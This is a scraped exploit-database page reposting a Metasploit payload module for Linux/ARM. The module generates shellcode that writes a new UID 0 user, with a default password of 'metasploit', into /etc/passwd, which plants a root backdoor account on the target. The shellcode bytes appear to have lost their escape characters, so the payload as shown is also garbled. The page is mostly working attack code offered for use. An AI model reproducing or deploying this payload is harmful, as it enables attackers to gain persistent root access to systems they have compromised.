Home / os / win7

[linux/x86] - linux/ARM (Meta) Create a New User with UID 0

Posted on 09 December 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>linux/ARM (Meta) Create a New User with UID 0 | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='linux/ARM (Meta) Create a New User with UID 0 by Jonathan Salwan in linux/x86 | Inj3ct0r 1337 - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_setDomainName", "none"]);_gaq.push(["_setAllowLinker", true]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>=============================================
linux/ARM (Meta) Create a New User with UID 0
=============================================

# Exploit Title: Linux/ARM - Create a new user with UID 0 (MSF)
# Date: 2010-11-25
# Author: Jonathan Salwan - twitter @shell_storm
# Tested on: ARM926EJ-S rev 5 (v5l)
# Issue link: https://metasploit.com/redmine/issues/3254
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
 
require &#039;msf/core&#039;
 
###
#
# AddUser
# -------
#
# Adds a UID 0 user to /etc/passwd.
#
###
module Metasploit3
 
        include Msf::Payload::Single
        include Msf::Payload::Linux
 
        def initialize(info = {})
                super(merge_info(info,
                        &#039;Name&#039;          =&gt; &#039;Linux Add User&#039;,
                        &#039;Version&#039;       =&gt; &#039;???&#039;,
                        &#039;Description&#039;   =&gt; &#039;Create a new user with UID 0&#039;,
                        &#039;Author&#039;        =&gt; [ &#039;Jonathan Salwan&#039; ],
                        &#039;License&#039;       =&gt; MSF_LICENSE,
                        &#039;Platform&#039;      =&gt; &#039;linux&#039;,
                        &#039;Arch&#039;          =&gt; ARCH_ARMLE,
                        &#039;Privileged&#039;    =&gt; true))
 
                # Register adduser options
                register_options(
                        [
                                OptString.new(&#039;USER&#039;,  [ true,  &quot;The username to create&quot;,     &quot;metasploit&quot; ]),
                                OptString.new(&#039;PASS&#039;,  [ true,  &quot;The password for this user&quot;, &quot;metasploit&quot; ]),
                                OptString.new(&#039;SHELL&#039;, [ false, &quot;The shell for this user&quot;,    &quot;/bin/sh&quot;    ]),
                        ], self.class)
        end
 
        #
        # Dynamically builds the adduser payload based on the user&#039;s options.
        #
        def generate_stage
                user    = datastore[&#039;USER&#039;]  || &#039;metasploit&#039;
                pass    = datastore[&#039;PASS&#039;]  || &#039;metasploit&#039;
                shell   = datastore[&#039;SHELL&#039;] || &#039;/bin/sh&#039;
                str     = &quot;#{user}:#{pass.crypt(&#039;Az&#039;)}:0:0::/:#{shell}
&quot;
                strl1   = [ (str.length)+52 ].pack(&#039;C*&#039;)
                strl2   = [ str.length ].pack(&#039;C*&#039;)
                pwdir   = &quot;/etc/passwd&quot;
                payload =
                        &quot;x05x50x45xe0x01x50x8fxe2x15xffx2fxe1&quot; +
                        &quot;x78x46&quot;+ strl1 + &quot;x30xffx21xffx31xffx31&quot; +
                        &quot;xffx31x45x31xdcx22xc8x32x05x27x01xdf&quot; +
                        &quot;x80x46x41x46x08x1cx79x46x18x31xc0x46&quot; +
                        strl2 + &quot;x22x04x27x01xdfx41x46x08x1cx06&quot; +
                        &quot;x27x01xdfx1ax49x08x1cx01x27x01xdf&quot; +
                        str + pwdir
 
        end
 
end


# <a href='http://1337db.com/'>1337db.com</a> [2010-12-09]</pre></body></html>

 

TOP

Malware :

Exploits :